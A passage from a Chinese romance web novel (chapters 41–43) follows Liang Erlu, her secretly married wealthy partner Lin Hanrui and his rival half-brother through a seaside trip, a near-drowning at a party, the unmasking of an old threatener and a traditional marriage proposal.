她按捺脸色霎白的心理冲动,试图教育:“但你这样会吓到我,万一我中途醒来……对不对?所以你是不是又发病了?”
得见林瀚睿滞缓翕眨的眼瞳疑惑几瞬,莫名透些不受理解的受伤,随即丧气低眸。
“梁尔璐,我目前很正常,能和你好好说话,在告诉你,我需要你。”
“我……我去洗头了。”难以招架,她撒腿往楼梯跑。
虽有个四岁的女儿,但梁尔璐深知其中九成归了父母养,自己并不擅长哄孩子。
目光下意识落去床的方位,原来林瀚睿每晚都看着她。
揪紧衣摆,她进浴室冷静脑子。
结束自然卷洗护的最后一步,梁尔璐坐着不再动。
她想起提分手那天,正好是处暑这一节气。
彼时重重砸在车窗上的细密雨声,聒噪得她愈发心烦意乱,唯独直直盯看删了林瀚睿微信的手机,而屏幕顶端跳出一则音乐APP的推送弹窗——
夏天很浪漫,夏天结束了
又是一年处暑时,Fall(in love)loading^_^
嗯,夏日结束了。
无尽夏是一场落空的爱情。
被烈日焚灼,枯败遍野。
她那会儿想着,好累,好想让林瀚睿帮她洗头发,再吹头发。
每每回忆这事,总能让她惊恐地喘不过气,似乎周遭的潮湿正四面八方洇入鼻息。
而房门外的敲声适时打断情绪蔓延:“你不会洗完头又睡着了?浴室气闷吗?”
梁尔璐逐渐听得明晰,不同于四年前,她如今很清醒。
她和林瀚睿这样算什么呢?分明是可以每天都吵架的关系。
因为舍不得他生病,不否认这一点。
她能舍弃林瀚睿,却无法舍弃生病的林瀚睿。
只是出于医德吗?
不是,也有爱意。
所以逻辑就又走到了死胡同。
没人能强迫她该怎么做,可她同样陷入僵局。
包好湿发,梁尔璐起身冲了个澡,尝试打开沉默已久的房门,却发现林瀚睿还杵墙边。
双方都挺匆忙的,以致于她回神之际已在男人怀中,入耳第一句是他声线扯急的“你没事就好”。
惊讶他语罢便放手的迅疾,梁尔璐稍愣:“你为什么对我一见钟情?”
嘴比心快,她万分后悔与林瀚睿纠结这种尴尬幼稚的问题。
幸亏他没半分揶揄的神态,极其认真:“告白都能这样跟风?你们把喜欢和爱这种感情当什么了?”
耳熟的感触层层剧增。
是她说过的话。
此刻竟一时不知该如何回应,以为沉默将长久延续,忽听林瀚睿添声。
“你是珍视爱的人。”
“是我珍视的爱人。”
对此,她的评价是:“盲目的爱。”万一她纯粹随口一说?
林瀚睿目光中的灼意仍存,流火般滚滚生浓。
“我相信那个瞬间,听见风吹的声音,也仅仅是听见风吹的声音。”
梁尔璐垂眼避开这道视线。
所以林瀚睿给她的第一份感情,并非爱,而是信任。
毫无逻辑的信任。
“我去吹头发了。”
狗东西究竟会不会说人话!总害她落荒而逃……
背靠门板,梁尔璐摁了摁眉心。
吵架伤身,还是继续这么平淡过日子吧。
什么都不许诺,什么也不索
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要。
*
收拾得差不多,她搬下还没歇几天的行李箱,窗外阳光投在沾些擦拭后水渍的厨房流理台,漾起零星的锃亮。
梁尔璐转望一楼玄关处拨打电话的林瀚睿,道着口不知哪国的语言,商务精英范儿拉满,与他这段时间主动洗碗的贤惠人夫模样产生割裂感。
三件套黑西装搭配暗红的领带,以往常系的埃尔德雷奇结,此刻换成了简单却也显隆重的温莎结,大背头发型捯饬得肉眼可见精致。
走近些,丝缕漫到她呼吸之间的香氛强调了成熟优雅的气质。
气味熟悉,梁尔璐怔过才察觉是之前给他的护手霜。
她微扬手指勾着的一副墨镜:“哥们你这靓得能炸街。”
早知道就不穿黑的吊带长裙了,不过黑似乎与各色都百搭……
将墨镜固定在梳盘起的耳侧发绺之间,梁尔璐示意他眼色:“左手。”
倒是听话,任她对待的慷慨样。
她当然也不客气地拍打林瀚睿手背:“这什么?百达翡丽!百达翡丽!都说穷玩车,富玩表,你这是两个全沾,太子爷,您骗得我好惨呐。”
男人没顾及受力泛红的皮肤,只稍稍整理衣袖:“财不外露,我偶尔也戴便宜的劳力士。”
就算是枚袖扣,照样富贵。
“我女儿有小天才电话手表,改天送你。”梁尔璐收回假笑,恨不得咬碎后槽牙,“骗子闭嘴!”
“尽快送我。”
室外的热烘随门缝灌入,她适应着跟林瀚睿身旁,清早落的那些雨水已被开久的盛夏日光灼了个干燥。
意料之外地没遭记者围堵,保镖将他们行李箱装入车内。
梁尔璐扒靠车窗,疑惑陆续有村民匆匆赶往同一方向:“好像有热闹,我要去看。”
距离也近,她下到田边的车路。
整片田地因无人耕种而荒芜,尚未降落的直升机即将停在这青黄交杂的偌大区域,浮夸得与四周景致不相符。
机顶部的旋翼保持转动,频率正逐渐减缓,持续吹拂起农田四野的绵白杨絮,似是空生了雪。
时隔四年再见这种金钱堆砌而成的阵仗,梁尔璐依旧恍惚:“太子爷,你家到底有多少私人飞机?”此时不断靠近眼前的是新面孔。
“这不是我家的。”
“开什么玩笑,难道是我家……的?”她顷刻间转头,难以置信地与林瀚睿对视,但见他满脸写着“不然呢”的平淡反问。
梁尔璐无法压惊,往家族群发送一连串问号,父亲秒回语音,气势汹汹。
【回家找你算账,居然敢搅黄我为老婆计划了大半年的旅游】
“这哪里好笑?”她瞪看衔笑调侃的林瀚睿。
“公主,你家真有钱。”
“太子爷谦虚了!”
挪回视线,她定睛发现驾驶舱位的梁奕珩起身,经过一排舷窗,直至停在开启的舱门旁,勾唇之际抬高了手中的扩音喇叭。
“大小姐,请上飞机,此外,很遗憾地通知林先生,你被禁止登上这架飞机。”
话落,他无奈摊手,而笑容始终没撤,甚至有加深的趋势。
梁尔璐咽口唾沫,意念掐人中。
至于偏头所见,林瀚睿的眉眼也弯了弧度。
双方径直对视,彼此之间相看两厌的气氛几乎达到顶点,于烈日的蒸晒下沸腾翻涌。
41.夏日
遭受如此挑衅,梁尔璐深知拦不住林瀚睿,唯恐他上飞机与梁奕珩约架,便第一时间紧跟他走向田埂的步伐。
“慢慢慢,我穿的高跟鞋,哎哎……林瀚睿!”虽是着地面积偏广的粗跟,但田埂细窄,同样害她难以避免地不时去扶男主胳膊来保持平衡。
“怎么,这次打算留下劝架?”
“你翻什么旧账?莫非之前是我命令你打架的?小人岂敢呐,太子爷黑白不分,即刻废太子!”
林瀚睿轻嘶,身后将摔之人掐得他掌心疼:“整片田都没人种,还请公主放心走下面。”
睁眼说什么瞎话?
梁尔璐瞥眼两侧缺乏打理而杂草丛生的荒地:“可能会有蛇啊,笨。”
“你忘了?我也是蛇。”
“笨。”
耳听戏谑的刻意提醒,她记起往事,没好气地哼声。
不知不觉又掉入坏男人的逻辑陷阱。
等完全登机,梁尔璐使劲推了一把这狗东西,可丝毫未能撼动他的身形……
兴许这就是平底鞋的魅力吧。
她瞪视,转身夺过梁奕珩手间的喇叭:“上,打架,打死他!”
驾驶舱已补足人,飞机自有机长开,梁奕珩靠向椅背作了退缩的委屈状,指鼻尖:“尔妹,他下手不知轻重,我怕破相。”
这感觉太熟悉了……
不愧是兄弟,近绿茶者香。
至于林瀚睿顶了一张遭受诬蔑似的无奈脸,唇角略微下压,显然是当日受伤的部位。
梁尔璐摁眉心,顾自坐下拆桌面的食盒。
嫌弃身后打火热的嘴仗。
“你还纠缠她做什么?以前是以前,现在才是关键。”
“对,可她以前那么爱我,你确定现在能彻底放下?”
“那就看看她是否会选你。”
应季的大闸蟹足够顺眼,梁尔璐心情大好地回应:“但我苦上学久矣,现在特别讨厌做选择题,都杵那儿干什么?你们过来吃啊。”
对面的俩座位终于满当,她顺势分蟹:“来,你们一只,我一人五只。”
“不要为了一只螃蟹打架哦。”
在这种女方占主导权的麻烦关系里,她可是能横着走的。
虽然梁奕珩早已知道自己没可能从她的朋友变成爱人,但肯定也心怀不甘与希冀的。
至于林瀚睿,拥有她的人,却得不到她的心,除了焦灼还是焦灼。
爱斗就斗呗,她谁都懒得选。
“飞机是去哪的?”
“海边。”
看吧,纯粹将视线率先投向其中一方,另一个的神情便明显滞顿,紧张不息攀附。
而倏亮眼瞳的那个,在她问出无关话题的瞬间如同焰枝纷落般。
分明全是聪明人,此刻竟傻到以为她会做出选择。
显得她像是坏女人。
“梁大师有深海恐惧症,林老板晕海洋调香水,就等于晕海。”
“确定?”确定他们坚持要跟,梁尔璐摘下吃螃蟹用的一次性手套,翻包取出防晒霜, “手。”
打量几秒齐刷刷伸出的两只手,她分别挤出足够的量:“既然同行看海,你们就要放下成见,互帮互助,现在闭嘴。”
气氛因此安生了几小时,按既定路线,直升机得停在机场,梁尔璐乘车到海边。
阳光灿热中掺杂劲头大的海风,她走得稍前些,偶尔张望身后。
男人们起初面色冷静,帅得谁也不愿露怯被对方看扁,但很快就都低垂强忍了头晕恶心的痛苦脸。
海浪声接连灌耳,梁奕珩不情不愿地挪步,抓住一条胳膊:“扶扶。”
林瀚睿正捂着口鼻阻挡过多海味,说实话也难顶,身旁有个人借力总归是好的。
“死要面子,你说一句‘扶吧’会掉块肉?混蛋弟弟。”
“不会,混蛋哥哥。”
“弟,她拍几张了……”
“谁知道,我快死了。”
“活着!”
“没错,就是要这样互帮互助。”乐呵删除不满意的照片,梁尔璐调戏良家妇男般吹声口哨,“哥哥,弟弟,比个耶!”
如愿替强颜欢笑的他们记录下丢人时刻,她挥手:“快找个地方休息吧。”
环海路通往观景台,为能拍摄海远处形似猫头的一座山,梁尔璐选择最佳位置。
晴明天色与碧蓝海水相交,横卧的山头葱绿郁然,宛如分割线,飞鸟迅疾掠过海面粼光,惊溅泛白的浪。
到底是盛夏,梁尔璐不再赶其余观景台,原路返回,见两个男人颓着等在公交站,双双喊饿。
她不由打趣:“呦,你们找到愿意一起吃的店了?”
眼看相继点头的哥俩好模样,梁尔璐挑眉:“难道是那家叫‘盖饭兄弟’的店?我倒是第一次知道你们喜欢吃延边菜啊。”
“怎么,两兄弟暂时统一战线了?和我玩兄弟盖饭的梗?”端详他们越发悻悻的脸容,她寻思挺会演,“走吧,我也喜欢吃兄弟盖饭,吃完回家,你们都被禁止上我家的飞机。”
“等等,旅游旺季的返程票……”
久没等到梁奕珩后话,梁尔璐面色疑惑:“哥哥怎么不说了?旅游旺季的返程票怎么了?哥哥这是突然明白什么了?弟弟也是,你有什么话想说吗?”
“就算不和姐姐玩兄弟盖饭,我和哥哥也只能自己买票回家。”
话音未落,她笑拨了响指:“哥哥和弟弟都好聪明啊,那我就奖励你们一顿兄弟盖饭。”
奖励一顿丰盛海风得了……
梁尔璐凛下神情,转身。
两个狗东西看不了海,干脆故意惹她,看她生气。
不过还挺意外的,林瀚睿反应难得迟钝,这回居然没能早点识破她的计划。
所以说恋爱脑没救了。
“冷脸好可爱。”
“少见多怪。”
“你才认识她几年?敢在我面前说这个词?”
听听。
所以说恋爱脑没救了。
*
谁知回家听的第一句,即关乎恋爱脑之一。
且是父母先后的两遍:“奕珩呢?”
“在海的那边,和林某一起被放生了,活该。”与母亲热络相拥,梁尔璐离开之际,见父亲的笑容渐渐消失。
“爹……爹地呢?”
“因为你们男人很烦。”她头也不回,走向自己卧室的隔壁,“双双?是不是又躲在房间吃零食?马上就要吃饭了。”
倒是没馋嘴,女孩唯独坐床上,腿边摆放了数本相册,随意翻看。
亲吻激动喊妈咪的女儿,梁尔璐揽她:“这是外婆、外公。”
邻页正中的四人合照显眼,除却父母,她不认识第三位笑靥秾丽的女人,最右理应还有一个,但这区域已毁损。
记得她幼时发现这张便询问父母,只说漂亮阿姨是好朋友,他们不小心撕破照片。
当年深信不疑,现下想想,但凡真无意间撕破,必定会重新粘好,而非任由破损。
充作照片背景的客家围屋是一处文物保护单位,距今都还有族人居住的文保房。
视线内,女儿抬手将这页翻过,梁尔璐回神:“双双,外婆如果问,你就说妈咪出门了,不用等吃饭。”
*
收到梁尔璐父亲质问怎么惹到她的消息时,梁奕珩正站在高门大院前。
他暂且不回复,听身旁的林瀚睿笑问:“怎么?你要翻墙进这文保房?”
入夜,周遭此起彼伏的虫鸣悉数清楚,这祖宗可千万轻点声吧……
“怎么会?是你这个文保房主人的外孙回家却忘带钥匙了,那该怎么办?只能淘气了,我开
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玩笑的,没人敢爬。”
“我有钥匙。”
眼睁睁盯林瀚睿面色如常,从西装内袋拿出个纯黑扁圆形的有线耳机收纳硬壳,旋开口子倒出一枚银亮钥匙,利落开门。
梁奕珩啧声:“你这是每天都随身带?”
对此不置可否,林瀚睿推进锁舌,响动于夜色中惊飞一簇集聚暗角的飞虫。
“但我猜你是第一次进来,那你就把能走的地方都逛一遍,反正你外婆和老管家已经搬走几年,只留下其余族亲,都巴结你这豪门亲戚还来不及,谁会不让你进。”
“你倒是开光嘴。”他微不可察避开些热情迎近的中年男人,对方下意识瞥看来指间的金属冷色。
“外甥?外甥!原来你有钥匙。”
“舅舅,我和朋友随意走走,不用招待。”
谢绝过多交际,林瀚睿却站原地,迟迟不动。
就算有钥匙,能进,也不知道该去哪。
他不配踏足母亲的家。
转眼间,离至远处的舅舅突然停下:“忘说了,你外婆也在。”
“嗯?妈,不是我……他,他有钥匙,自己进来的。”
直直与对面门沿处面无表情的老妇人对视,林瀚睿下意识后退。
“Hendrix!”梁奕珩追向已逃出大门的人,脸色实在难看,他担忧扶稳这具颤抖发冷的身体,“喂?”
“送我回家。”
几乎是咬牙切齿的忍痛般腔调。
印象里,他这弟弟鲜少示弱,哪怕是向他。
所幸打车期间见他沉默平息了情绪,梁奕珩干脆送佛送到西。
坐玄关等候的管家算是看着林瀚睿长大,琢磨他此刻情绪有异,但因客厅传近的热闹声直说:“炎小姐的回国欢迎派对在这里办,说要给你个惊喜,梁小姐也在。”
尾话一出,他清晰得见少爷皱眉愈深,余光也瞥到从墙角探出脑袋的女人。
炎端盈跨出一步,站定与并未舒展眉眼的林瀚睿对望:“女人是我,你不满意?”
“你请了梁尔璐?”
嗓音毫无半分耐心,一如既往疏冷,她倒是无所谓这讨债脸:“对啊,我想看看她真人和照片视频里的区别,不愧是你看上的。”
“人呢?”
“人在哪?”得益于职业,梁奕珩曾送她父亲字画,见过炎家的家庭合照。
几乎异口同声的两道惹急声线,炎端盈不由挑眉:“你林瀚睿的人,谁敢动?她刚才好像突然很惊慌,我朋友觉得奇怪就跟了一段,说是去了地下室。”
地下室布局弯绕,功能分区繁多,林瀚睿找遍了才发现梁尔璐毫无意识地沉在泳池底部。
施予的急救令她断续呛出水,频频咳嗽,却在目光清明的瞬间使劲推开他,恐惧异常。
“珩仔……珩仔!他去哪了?我要回家,我要找他,我在问你,他人呢!”
“人呢!”
鞋留在泳池,搁地下室踩着滩水的双脚偏凉,激起梁尔璐一阵鸡皮疙瘩。
她不懂持续怔怔,却忽然短促轻笑的林瀚睿。
“跟我来。”西装外套虽已湿透,但男人依然替她披拢裙装单薄的肩身,转身带路。
暂时靠墙缓解腿软,梁尔璐没随他进监控室。
身后响动静,梁奕珩调回视频进度条:“失足落水,但看不出导致她惊慌的原因。”
“她没说,而且一定只要你陪着回家,外面。”
梁奕珩松开键盘便跑,门旁缩靠墙角,安全感尽失的女人乍一见他,当即紧张地站起攥紧他胳膊,匆匆躲身后:“你没事吧?”
确定没听错,他生愣:“我没事。”他能有什么事?
出事却奇怪的是她,临走时甚至皱眉将披着的衣服扔地上。
期间看向林瀚睿而浑身散发的害怕劲,不像假的。
42.夏日
梁奕珩眼看林瀚睿久盯褶皱交错的湿淋衣服,面露沉郁之态,但他顾不上,只脱了外套,抱过心有余悸的梁尔璐离开。
显然是冷,她拢紧干燥热乎的西装,无固定频率锁拢的眉眼惊惶未定,极轻地念念有词。
“尔妹?”唤了也没回应,梁奕珩焦心她这失魂落魄的模样。
不出几秒,竟又着急推拒他。
“对,不行!停……停,我自己走。”触及冰凉的石材地板,梁尔璐蜷起些趾尖。
她纯粹来林瀚睿家拿行李箱的,却被一窝蜂的少爷千金盛情强留了参加派对,但凡没这么赶巧,都不至于时隔四年重遇麻烦。
既然是那边的人,必然惹不起林瀚睿,因此她需要离他越近越好。
而回了监控室门沿,对他脱口的话却变成:“你能不能澄清一下?我们本来就不是情侣,顺便再把我解雇?全科中医很多的,我不算厉害。”
下意识的行为是不会有假的,她果然还是介意林瀚睿的欺骗。
反正是隐婚,将大众眼里的情侣关系消掉,就不会有神经病找上她了!
可压根儿不搭理她半眼的男人顾自按手机:“解雇别想,澄清更不能,我看你老公也不敢怎么样,这么久没动静?你的家庭地位挺高。”
梁尔璐欲言又止,好奇他这戏是否想演到入土为安:“对,我老公是耙耳朵,哪像你?”
“有空驯服我。”
狗东西拒绝澄清解雇是吧?那她就只能死赖着不走了。
“没空!你真的……”梁尔璐深呼吸,解开充作手链的珍珠腰链,气恼砸人,“既然是太子爷,当初就不要来找我,是你家附近没太子妃能海选?我看客厅那里有满大堆呢?结果倒霉的只是我,烦死了!”
烦死了,这笨蛋好巧不巧正抬头,掠过脸颊的金属配饰将他皮肤划出一道红痕。
湿发淌落水珠,兴许是蜇得疼,男人后知后觉敛眉:“什么意思?”
“我对你没意思的意思,可以在你家洗个澡吗?你可以陪我上楼吗?小三,仅限今晚,你可以抱我上楼。”她悟了,这便是忍辱负重的感觉。
“小三不愿意,姐姐放心洗,你的珩仔不会有事,我怎么可能伤害他?绝对奉他为座上宾。”
“你懂不懂小三的业务啊!”怎么两级反转,变成她求着被三了?
梁尔璐扭眉,厌极了林瀚睿笑盈盈的面孔。
“姐姐低声些,这不光彩。”
“那好吧,我抱姐姐。”勉为其难的将就样,甚至断章取义。
她忍无可忍:“我是让你抱我上楼,不是抱我!”
地下室泳池的水愈发冰,萦暖许久的肩膀却瞬间受凉,松垮披的衣服由林瀚睿冷着脸扔去地面。
“姐姐也真是的,怎么总穿碍我眼的衣服呢?”
搭扣腰侧的手劲与他含笑腔调严重不符,梁尔璐直觉像贴覆一块寒冰。
这人浸过了水的体温更低。
往外挪开视线稍垂,她余光瞥及三两黑衣保镖正跑向不远处的梁奕珩,把他拦在走廊墙边。
“你干什么?”谁家座上宾是这待遇的?
而林瀚睿并不回应她,唯独途经时撂话:“送梁先生回家,太吵就让他闭嘴,非暴力。”
话落也仅目视前路,步伐稳妥:“无论你隐瞒了什么,今天必须一五一十告诉我,否则他真的会挨打。”
这对兄弟连打架斗殴都做得出来,梁尔璐语塞。
原本想始终烂肚子里,她皱眉揪掐了手指:“四年前我坐一辆出租车,车里除司机以外,后座还有个戴口罩的男人,他打电话让我听,对面的年轻女人威胁我和你分手,说如果动我身边的人不在话下,刚才我在派对上又听见这个声音了,虽然人声通过电子设备会失真,但我确定是她。”
“嗯,所以我提分手不是出自真心的,是假的,依旧喜欢了你四年,可骗就是骗,你真的已经出局了。”
细细回忆,梁尔璐顿声:“我听见那女的说……空调温度有点低。正常分贝,应该录不进监控,对口型吧。”
其实她当年觉得滑稽,就算和林瀚睿分手了,他们也还有板上钉钉的结婚证。
一帮没搞清状况就来干坏事的笨蛋。
“你为什么要给自己找活,浪费时间?”
话题似乎过于跳跃,梁尔璐不解。
“距离事发到现在,参加派对的人没一个离开,毕竟不是杀人放火,更别提证据,能拿她怎么样?我安排了保镖禁止出入,关门打狗,一人说一句你听见的话。”
“既然不知道是谁,就仗势欺人。”
和林瀚睿低眸而来的无谓瞳色对视,她只觉自己同样嚣张,恶劣地狐假虎威。
*
经过客厅的墙边,梁尔璐叫停,伸手调高了些中央空调的温度,因而不太自然地避开林瀚睿似笑非笑目光:“我……我冷,不行吗?”
“谢谢,我不冷了。”
谢谢,她忽视欠揍的男声,想撞墙。
越发多的视线集中到他们这处,伴随议论声。
难得如此社恐,她偏侧了脸往怀里躲:“喂,我快死了!”
“我在海边时也快死了。”
是报复,是报复!不翻旧账会死?
置了气,梁尔璐在众目睽睽之下躲开些替她披宽大毛巾的林瀚睿,但硕士期间的室友跑近,将拢身的针织开衫盖来她腿,动作之间恰好挡住她这脾气。
由林瀚睿擦头发的间隙,她但凡无聊抬眼,都能精准瞧见男人浅勾的笑意。
狗东西。
梁尔璐忍耐,试图平心静气。
再这样下去,仨字该成她口头禅了。
茶几对面聚集站着的年轻男女不消细想也清楚身临的境地,显然不满。
“谁敢弄她?”
“我是来派对消遣,不是当犯人的。”
“谁让你不姓林,胳膊拧不过大腿,那你有意见就更大声点,难道是你?”
“怎么可能是我!”
杵旁边的管家见状,出声:“麻烦在场所有小姐说一遍‘空调温度有点低’这句话,或者谁做的,直接承认。”
“对啊,别浪费大家时间。”
“我最看不起玩雌竞的人了。”
“你的意思是我们盈盈在搞雌竞那套?少阴阳怪气。”
眼看话题总算转到自己身上,炎端盈暂放甜品勺:“是我吗?林太太。”
梁尔璐循声看向右侧的单个沙发,女人五官偏英气,笑时艳色胜过清冷感。
她摇头,没多在意对方称呼中尖锐的调侃意味。
“是我鬼迷心窍,与小姐无关。”
此话一如惊雷,众人倏静,纷纷打量炎端盈身旁的女人。
炎家千金体弱多病,随身带医生是众所周知的事。
“我和炎小姐是认识多年的朋友。”
确定声源,炎端盈及时收敛油然而生的惊讶。
她撤回皱眉凝看私人医生的视线,转望林瀚睿此刻捧牢了怕摔的金贵女人:“没错。”
“那么派对继续,为表歉意,各位随时可以到腾先地产总部挑选公司名下未售罄楼盘的任意一套房,免费赠予。”
梁尔璐怀疑听错管家的话,刚也没说是这种撒钱的仗势欺人。
她也参加派对了,能拿一套么……
“林太太,连人带公司都是你的。”
“啊?”愣回神,梁尔璐才意识到林瀚睿口中的“人”指他自己。
嫌弃男人宠溺到腻的眸色,她撇嘴,才不要。
“我先处理事情。”
先什么?还想有什么后?
梁尔璐暗
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自蛐蛐他。
随行的保镖并未押着医生上楼,她倒觉得阵仗足够匹配太子爷身份了。
转头之际,她与炎端盈交汇目光,对方脸色不自然,语气生硬:“谢谢你帮我解围。”
“虽然你态度带刺,像针对我,但挺可爱的。”凭她常年观察人类的经验,绝不会错。
果不其然见这大小姐面红耳赤:“你摊上林瀚睿那讨债鬼,就自认倒霉吧,别让他再流入婚恋市场,回收垃圾,算造福社会了。”
“哦。”
“你不能这么乖!会被林垃圾欺负!”
梁尔璐寻思早已被欺负到没边了:“他堂弟和Rosalind没来吗?”
“Rosalind正好没空,他堂弟是那边穿搭像得了风湿一样潮的头戴墨镜装叉男,林文霆。”
再三眨巴眼,她摇头:“不是他,是长得像未成年。”
炎端盈宕机,盘算起林家人口:“加上他,林垃圾总共就三个堂弟,一个真未成年小孩,一个比林文霆矮半头左右,顶级豪门混球,我发疯才邀请他。”
“可是明明差不多高……”梁尔璐下意识睁大眼。
不愧是林垃圾,连亲戚关系都骗她。
“Aria,你说的该不会是盛家大小姐吧?出了名的娃娃脸,他最近和Rosalind去做野生动物保护义工了。”
梁尔璐怔怔瞅八成是破了案的好室友,感恩得快哭。
“好像听见有人叫我,是嫂子?”
“是我,聋子。”
林文霆晃近,懒散倚靠炎端盈所坐的沙发:“嫂子,什么时候办婚宴?林家很久没热闹过了,我这疯癫堂哥当年爱你爱到连人都不要做,是我见过他最叛逆的一次,没有之一。”
“什么?”梁尔璐咋舌,琢磨着林瀚睿还能更疯?
“你不知道?不知道就麻烦了,总之自己去问吧,至于你们两位大小姐,当没听见林家秘辛。”
逐客令下的……她眼看俩人无谓离开。
这潮男不说憋得慌,也挺叛逆。
林文霆挪地儿坐,轻声:“也没什么,无非是Hendrix在爷爷去世后的守孝期内和你结婚,当时甚至还没过老人家的头七,葬礼也还没举办,你就说他要不要做人吧。”
“这事没被你家爆料出来攻击他家,难道你当时也不要做人了?”区区宅斗,梁尔璐都没怎么动脑。
“嫂子你……聪明,绝对能在林家活下去!”确保闲杂人等距离远,林文霆添话,“但他多少算是想做人的,毕竟隐婚啊,外界一无所知,不过我总感觉你们在吵架?吵了四年仍没结束的那种?”
眼光蛮毒,梁尔璐微笑摇头:“没吵架。”
“我知道了!他这神经病肯定在演情侣的戏码玩,这样等以后办酒席,从恋爱到结婚就都有迹可循,媒体完全不会想到是四年前那段敏感的时间结婚,不愧是林家掌权人,妙啊。”
别说,还真有道理……
这的确是个绝妙思路,林瀚睿才热衷于装失忆,扮小三。
但似乎哪里不对劲?
“等等,你的意思是他故意让记者知道我们是情侣?”
林文霆忽地愣住,聪明嫂子好似突然变傻了:“对啊,我哥虽然有一枚象征继承人的玉扳指,但他从十八岁戴到现在且几乎不摘的是左手那铂金戒,记者不是瞎子,所以你们就上新闻了。”
末句循环在脑海,四面八方般蹿腾得梁尔璐频冒火气。
难怪呢,当时趁直播伸手喂她麻花。
狗东西过了四年之久,还不知悔改地骗她?
死定了。
“嫂子你干嘛去?”周围人多眼杂,林文霆没敢对正打算起身的梁尔璐大声询问,只如坐针毡,他竟有一种自己会被神经病堂哥削死的错觉?
“去吵架。”
43.夏日
上楼遇着“押送”医生的保镖,梁尔璐噎了半天他们整齐划一喊出口的“夫人”。
请问她哪里像?
紧急逃离了客厅因此重新聚焦而来的众多视线,她逮住正关书房门的背影,跃跳起招呼了林瀚睿的后脑勺一击。
男人受到轻拍的力道,怔忡转身:“宛宛……”
“不准这样叫我!”将他推进卧室,梁尔璐接连逼退人几步,“你什么态度?知错不改?还骗我?听说你堂弟不姓林?递我麻花那会儿开心吗?”
“对不起。”林瀚睿倒是好奇谁揭他老底,“你先洗澡,会感冒。”
转移话题终究无效,梁尔璐唯独冷脸相待,明艳五官之间的凛意赤烈而秾丽。
他稍加琢磨:“我给你做甜品吃?就是以前你想让我做的椰香芋泥巴斯克,一定好吃,我四年里试过很多次了。”
“嗯,你做吧,但我吃了也不会开心的。”甜品无罪,梁尔璐哼声,收敛心动。
林瀚睿却骤亮眼瞳,一股子湿漉漉小狗想出妙计的鲜活灵动感。
“那我往巴斯克里加入开心果酱。”
心生无语,梁尔璐眼色嫌弃男人毫不犹豫下决心的神情:“你是觉得这个冷笑话很有趣?”
“我再想一个。”
皮肤抵触着潮衣服贴身的不适,想是林瀚睿也如此,濡湿的脸色却比常人苍白几分,隐隐透明般虚浮。
梁尔璐沉默数秒:“再想亿个也没用,滚去洗澡。”
转身反而遭拦,她及时将快被男人攥到的手腕背去身后,撇开视线,可余光连半刻都避无可避,见他滞缓收回落空的五指。
“你还会理我吗?”
“我不选梁奕珩,不代表就能原谅你。”懒得多掰扯,梁尔璐直截了当,“你说过的,他在你面前明恋我,却被你这兄弟偷家,林瀚睿,抢来的没办法长久啊。”
归根结底全是骗子,耍得她团团转。
*
好歹远离了令人头大的地方,怎知回家刚进厨房,当即受迎一句梁奕珩怒声的“我绝对不和尔璐结婚”。
愣是与对面的男人、父母面面相觑,梁尔璐难以措辞。
暗恋她,又不打算和她结婚?
梁奕珩也挺叛逆的。
奇葩两兄弟。
“有必要这么尴尬吗?我好饿。”挤入恍如石化的三人之间,她端过一盘剩菜,吃着走向客厅。
习惯了女儿跟小竹马之间趁空就串门玩的频率,她大老远打量孩子们埋头搬快递的热闹劲,此刻正通力合作,拖出茶几下的满堆未拆包裹,激动开合剪刀。
应完异口同声的“妈咪”、“丈母娘”,梁尔璐清数眼前归她的所有快递。
多了一个?
父母向来不会乱动她东西,但印象里自己网购的物件中确实没符合这大小形状的。
见女儿从纸箱倒出由多层泡泡纸防震的长方盒子,她放下碗筷。
纹样雕刻讲究的沉甸木匣出乎意料般贵气,丝缕逸散的淡香沁人心脾,梁尔璐轻易闻出金钱的味儿。
揣了好奇心,她小心翼翼捏起填装着的一封红色信封,上方印有竖向四字“蟾宫折桂”的图样,心底陡然生出离谱的猜想,便继续取出封套内的四折红纸。
纸张正面最右边的一页正中写了同样竖排的“全福”,楷体毛笔字力道遒劲,至于往左铺延的大堆文言文,梁尔璐暂时忽略。
背面除却部分喜庆成语,剩余尽是更为富贵的字眼。
关乎林瀚睿姓名、出生年月等个人与家族的信息,全属于他落的笔迹。
显而易见,是中国传统婚俗中用来求婚的庚帖。
但唯有她父母留下这一纸婚书,礼尚往来般回了她的庚帖到林家,才算求婚成功。
倒反天罡……结婚证都拿到手四年了,林瀚睿这还来第二次求婚?
古代让媒人送庚帖无非是因为婚前男女不曾见过面,她都数不清已见了几次。
重新把这骇人东西放回木盒,梁尔璐拧眉藏进卧室。
狗东西是真不怕被她父母撕烂这张薄纸。
多少带些做贼心虚的后怕,她离开房间中途遇到端了碗米饭的梁奕珩,下意识呛着唾沫。
同行间缓过短暂轻咳,她捣弄碗边沿的各式菜色,与热饭相拌:“说话呗,尴尬什么?是这样的,四年前有人用家人朋友威胁我和太子爷分手,但只听见声音,结果我刚在派对上又发现了对方,你放心,已经查出来,至于是谁懒得知道,总之全拜林家所赐。”
“要不是那狗东西当初骗我,这种豪门破事休想沾到我!”
“嗯。”
偏头抬看梁奕珩自闭似的模样,梁尔璐忍俊不禁:“就问你以后还和别人说喜欢谁吗?翻车被偷家了吧?”
“你是不知道林瀚睿以前对女人有多无所谓,被怀疑是性冷淡,我每次提起你的时候,他像看神经病一样。”
殊不知到头来,谁才是神经与恋爱脑的集合体……
她拒绝深入回忆,撇嘴:“可以想象。”
其实梁奕珩自然不遑多让,正如此刻声线作急——“你不准想象!”
“好好好,我不想他,我也谁都不选。”
两兄弟虽都是大龄幼稚鬼,幸亏他这哥哥是比林瀚睿好哄很多的。
“问题是我弟诡计多端。”
可惜双手没空,否则她必须鼓掌:“说得好,问题是我油盐不进。”
该说不说,还蛮好奇林瀚睿送完庚帖的后续诡计……难道打算直接选择最终关卡,攻克她父母两大boss?
还没让他受够小磨难呢,若真是这样发展,未免也太无趣了。
但是吧,她想打死自己。
同样是对待骗子,梁奕珩、谢柏延,包括Rosalind与假堂弟这些参与骗局的可恶帮凶,她全能轻易宽赦,惟独林瀚睿那混蛋主谋,如同拔不出的刺,令她抓心挠肝。
左右寻思自己有些犯贱,梁尔璐咬牙切齿。
琢磨间,她差点没能听清梁奕珩出口的嗓音。
什么叫“我不结婚了 ,反正有干女儿”?
眼看男人话落便快步离开的局促背影,她傻傻回神。
不是哥们,这么爱?
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梁尔璐恍惚,想起曾经吃过“一名男子睡在好兄弟家门口数月,只为当初恋孩子干爹”的纯爱战神瓜。
行,是她大惊小怪了。
*
